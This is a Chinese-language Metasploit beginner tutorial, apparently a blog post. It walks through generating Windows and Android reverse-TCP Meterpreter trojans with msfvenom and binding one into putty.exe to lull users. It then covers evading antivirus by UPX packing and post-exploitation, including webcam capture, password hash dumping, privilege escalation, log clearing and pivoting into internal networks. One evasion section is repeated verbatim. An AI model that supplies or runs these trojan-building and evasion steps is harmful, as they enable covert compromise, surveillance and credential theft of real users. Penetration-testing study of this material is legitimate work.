Metasploit入门教程
0.Metasploit简介
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。
1.Metasploit安装
Windows平台
首先从官方网站下载安装程序:
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
默认端口:3650
关闭杀毒软件后以管理员身份运行安装程序,安装过程会附带安装PostgreSQL数据库用以存储metasploit内各模块,载荷等索引,加快搜索速度
安装完成后,在桌面生成Metasploit的快捷方式,右键以管理员身份运行将打开cmd并运行Metasploit控制台
Windows下启动Metasploit时加载时间较长,若无反应请耐心等待3-5分钟
Windows平台上,Metasploit还提供了Web访问界面,实现图形化的操作
Linux平台
从github获取
git clone https://github.com/rapid7/metasploit-framework.git
切换到metasploit-framework目录,赋予msfconsol执行权限并启动
cd metasploit-framework && chmod +x msfconsole && ./msfconsole
使用以下命令下载一键式安装程序,具体安装进度试网络情况
cd /opt && curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall
Kali Linux自带了Metasploit以及自动化渗透工具Armitage
Android平台
安卓安装Metasploit实际上是先在安卓上安装一个linux子系统,然后再在此基础上安装Metasploit,虽然过程复杂繁琐,但在企业网络环境下进行渗透测时,拎着一台笔记本接入网络也许会太过显眼,这种情况下在安卓手机或平板上安装Metasploit也不失为一种选择
前提:安卓手机或平板需要root权限
通常选择安装Termux作为基本环境,启动后会联网下载系统,具体时间视网络环境长短不一,所以你可以选择在这时候睡个午觉什么的 =.=#
Termux使用apt包管理器,执行以下命令更新
apt-get update && apt-get upgrade -y && apt dist-upgrade -y
接下来的安装Metasploit和上述linux平台安装相同
2.使用Metasploit进行渗透测试
Terminal下msf常用命令简介
msfdb init msf数据库初始化
apt install metasploit framework msf更新
msfVENOM 多平台攻击载荷生成器
msf-nasm_shell 将汇编指令转换成为对应的16进制机器码
msfconsole 打开msf终端
msf终端下常用命令简介
db_status 查看数msf据库连接状态,连接数据库能够优化搜索等过程
db_rebuild_cache 重建缓存,将模块等索引重新存入数据库
db_nmap 调用nmap扫描,并将扫描结果存入数据库
help [db_connect] 显示命令的帮助信息
search [module] 搜索含有关键字的模块
use [module] 选择使用一个模块(以ms17_010永恒之蓝为例)
show payload 显示该模块支持的payload
show options 显示该模块需要设置的参数(其中required为no的表示不是必须的参数)
info 如果觉得show命令显示的不够完整可以直接输入info查看详细详细
set [opt] 使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)
setg [opt] 设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使用unsetg取消设置)
back 返回上级状态
exploit/run 两个命令都表示运行攻击模块
sessions 查看当前连接的会话
3.使用msfvenom生成木马文件
t关于payload的选择,出于防火墙等多种原因,目标主机上可能会限制外网对内网一些端口的访问,甚至是只开放一些端口然后关闭其他所有端口。在这种情况下,让目标主机回连攻击者成为更好的一种选择,这种模式相当于目标主机自己发出一个对外的连接请求,属于正常的流量,因此可以绕过安全设置,所以在选择payload时普遍选择使用带reverse的payload。
一般32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。当然仍然需要根据不同的需求选择不同的载荷
查看可使用的载荷/编码器/nops/所有列表
msfvenom -l payload/encoders/nops/all
查看可生成的木马文件格式,使用-f 指定木马格式
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe
生成安卓木马
msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk
msf终端监听会连回话
use exploit/multi/handler 该模块用于接收回连会话,一般只需要设置监听主机和端口号
4.木马免杀
使用多个编码器混合进行多重编码
不推荐使用,免杀率低,编码时间长,且生成的木马可能会出现无法运行或运行后无法回连到攻击端的情况
"-f raw" 表示生成原始木马,这种通过管道生成的木马只需要不断传递,所以只需要在最后一条命令指定生成的格式,而在此之前都应该使用raw的原始木马
捆绑到正常文件中
推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值
选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe
加壳
推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择
upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h
上述方法综合使用
附上一个在线检测木马的网站: http://www.virscan.org/
捆绑到正常文件中
推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值
选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子
加壳
推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择
upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h
上述方法综合使用
附上一个在线检测木马的网站: http://www.virscan.org/
5.meterpreter后渗透利用
通过exploit/multi/handler模块监听,并与目标主机建立连接后,能够使用meterpreter进行后渗透利用
pwd 打印当前工作目录
sysinfo 查看系统信息
ps 查看当前目标机上运行的进程列表和pid
webcam_snap 调用相机拍摄照片(使用webcam_stream能够通过浏览器模拟录像机,实现实时监控)
run vnc 运行vnc远程查看屏幕(run screen_unlock实现远程控制)
run post/windows/manage/enable_rdp 如果目标主机是windows系统,使用该命令开启目标的远程桌面3389
screenshot 截取目标主机当前屏幕
getuid 获取当前权限的用户id
getsystem 获取system权限
hashdump 获取用户名与hash口令
shell 获取目标主机shell(windows环境下中文乱码的解决办法:chcp 65001
Ctrl+Z 退出shell模式,返回到meterpreter
upload 上传一个文件
download 下载一个文件
excute 执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)
clearev 清除日志
background 将Meterpreter放入后台(使用session -i重新连接到会话)
6.Meterpreter进行内网渗透简介
在渗透过程中,当你拿到一台能够连接公网的的主机的权限时,这台主机可能还连接着一个内部的局域网络,而且这个局域网内的其他主机没有对外访问的权限。这是一种很常见的局域网模式,通常一些无法连接外网的主机内可能存放着一些敏感文件,此时可以通过以及控制的那台主机作为攻击者访问内网的跳板,用来实施对内网的渗透
添加到达内网的路由
run get_local_subnets 获取目标主机上的子网状态,其中192.168.16.0和攻击机在同一个网段,169.254.0.0是vritualbox的内部网卡模式
run autoroute -s 169.254.0.0/16 1 使用autoroute模块添加到达内网的路由经session 1转发
run autoroute -p 查看当前的路由表,可以看到发往169.254.0.0网段的流量都将通过session 1转发
接下来就可以在msf下使用db_nmap扫描内网存活主机,针对内网的开放端口进行攻击
portfwd端口转发
端口转发能够将内网端口转发到本地主机的端口,相当于virtualbox的端口映射功能。
portfwd -h 查看帮助信息
portfwd add -l 7070 -r 192.168.16.59 -p 3389 将目标主机192.168.16.59的3389转发到本地主机的7070端口
rdesktop 127.0.0.1:7070 端口转发成功后就可以从本地端口连接rdp
参考书籍《Metasploit The Penetration Tester's Guide.》《Metasploit渗透测试指南(修订版)》
Metasploit入门教程的更多相关文章
- CTF必备技能丨Linux Pwn入门教程——ShellCode
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...
- wepack+sass+vue 入门教程(三)
十一.安装sass文件转换为css需要的相关依赖包 npm install --save-dev sass-loader style-loader css-loader loader的作用是辅助web ...
- wepack+sass+vue 入门教程(二)
六.新建webpack配置文件 webpack.config.js 文件整体框架内容如下,后续会详细说明每个配置项的配置 webpack.config.js直接放在项目demo目录下 module.e ...
- wepack+sass+vue 入门教程(一)
一.安装node.js node.js是基础,必须先安装.而且最新版的node.js,已经集成了npm. 下载地址 node安装,一路按默认即可. 二.全局安装webpack npm install ...
- Content Security Policy 入门教程
阮一峰文章:Content Security Policy 入门教程
- gulp详细入门教程
本文链接:http://www.ydcss.com/archives/18 gulp详细入门教程 简介: gulp是前端开发过程中对代码进行构建的工具,是自动化项目的构建利器:她不仅能对网站资源进行优 ...
- UE4新手引导入门教程
请大家去这个地址下载:file:///D:/UE4%20Doc/虚幻4新手引导入门教程.pdf
- ABP(现代ASP.NET样板开发框架)系列之2、ABP入门教程
点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之2.ABP入门教程 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)” ...
- webpack入门教程之初识loader(二)
上一节我们学习了webpack的安装和编译,这一节我们来一起学习webpack的加载器和配置文件. 要想让网页看起来绚丽多彩,那么css就是必不可少的一份子.如果想要在应用中增加一个css文件,那么w ...
随机推荐
- java中volatile关键字的含义(转载)
在java线程并发处理中,有一个关键字volatile的使用目前存在很大的混淆,以为使用这个关键字,在进行多线程并发处理的时候就可以万事大吉. Java语言是支持多线程的,为了解决线程并发的问题,在语 ...
- VUE:Select2
<template> <div> <ul class="skill"> <li v-for='item of list' v-on:cli ...
- 【csp模拟赛4】旅行计划 (travelling.cpp)--欧拉回路
[题目描述] 小 Z 打算趁着暑假,开启他的旅行计划.但与其他同学不同的是,小 Z 旅 行时并不关心到达了哪个网红景点打了哪些卡.小 Z 更关注沿路的风光,而且 小 Z 觉得,尽管多次到达同一个地方, ...
- 为orangepi zero编译安装nginx记录
使用的系统是armbian 1.下载nginx源代码 wget http://nginx.org/download/nginx-1.17.0.tar.gz 2.解压nginx源代码 tar xvzf ...
- [LOJ6053]简单的函数:Min_25筛
分析 因为题目中所给函数\(f(x)\)的前缀和无法较快得出,考虑打表以下两个函数: \[ g(x)=x \times [x是质数] \] \[ h(x)=1 \times [x是质数] \] 这两个 ...
- 总结调试webview的方式(安卓)
参考文章: 移动端真机调试指南 Mac 平台 Android 使用 Charles 抓包方法 Charles使用Map Local和Rewrite提高开发效率 通过chrome直接进行调试 chrom ...
- Django1.6 + jQuery Ajax + JSON 实现页面局部实时刷新
最近微信公众帐号要扩展做一个签到系统,签到结果在一个网页上实时更新,即页面局部刷新.我想用Ajax来实现,之前公众帐号是用的Django搭的,我查找了Django的官方文档,没有封装Ajax.网上有各 ...
- MongoDB系列二:MongoDB安装过程
一.MongoDB安装,以Linux系统安装为例:(下载:www.mongodb.org 注意使用stable版本) 1.下载最新版本的MongoDB安装包,wget http://fastdl.mo ...
- 【零基础】快速入门爬虫框架HtmlUnit
迅速的HtmlUnit htmlunit是一款开源的web页面分析工具,理论上来说htmlunit应用于网页的自动化测试,但是相对来说更多人使用它来进行小型爬虫的快速开发.使用htmlunit进行爬虫 ...
- BUUCTF平台-web-边刷边记录-2
1.one line tool <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_ ...